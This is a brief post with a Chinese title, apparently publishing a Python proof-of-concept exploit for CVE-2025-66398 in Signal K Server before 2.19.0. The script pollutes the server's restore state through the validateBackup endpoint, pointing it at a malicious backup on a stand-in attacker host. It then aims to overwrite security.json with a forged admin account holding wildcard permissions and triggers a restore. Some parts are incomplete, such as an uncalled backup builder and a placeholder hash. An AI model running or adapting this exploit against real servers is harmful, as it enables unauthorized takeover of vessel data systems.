CVE-2025-66398 Signal K Server状态污染导致RCE漏洞

import requests import json # CVE-2025-66398 PoC - Signal K Server State Pollution # Target: Signal K Server < 2.19.0 TARGET = "http://target:3000" ATTACKER_IP = "attacker.com" def pollute_server_state(): """Pollute the restoreFilePath internal state""" endpoint = f"{TARGET}/skServer/validateBackup" # Payload to poison restoreFilePath to point to security.json payload = { "backupUrl": f"http://{ATTACKER_IP}/malicious-backup.zip", "restoreFilePath": "security.json" } headers = { "Content-Type": "application/json" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[+] State pollution request sent: {response.status_code}") return response.status_code == 200 except Exception as e: print(f"[-] Request failed: {e}") return False def create_malicious_backup(): """Generate malicious backup with RCE payload""" malicious_config = { "users": { "admin": { "token": "attacker-controlled-token", "passwordHash": "$2a$10$malicious.hash.here", "permissions": ["*"], "__comment": "Injected via CVE-2025-66398 state pollution" } } } return json.dumps(malicious_config) def trigger_restore(): """Trigger admin restore action to overwrite config""" endpoint = f"{TARGET}/skServer/restoreBackup" try: response = requests.post(endpoint, timeout=10) print(f"[+] Restore triggered: {response.status_code}") return response.status_code == 200 except Exception as e: print(f"[-] Restore trigger failed: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-66398 Signal K Server Exploitation") print("[*] Target:", TARGET) if pollute_server_state(): print("[+] Server state successfully polluted") print("[+] Next step: Wait for admin to perform restore operation") print("[+] Or trigger restore if endpoint is accessible")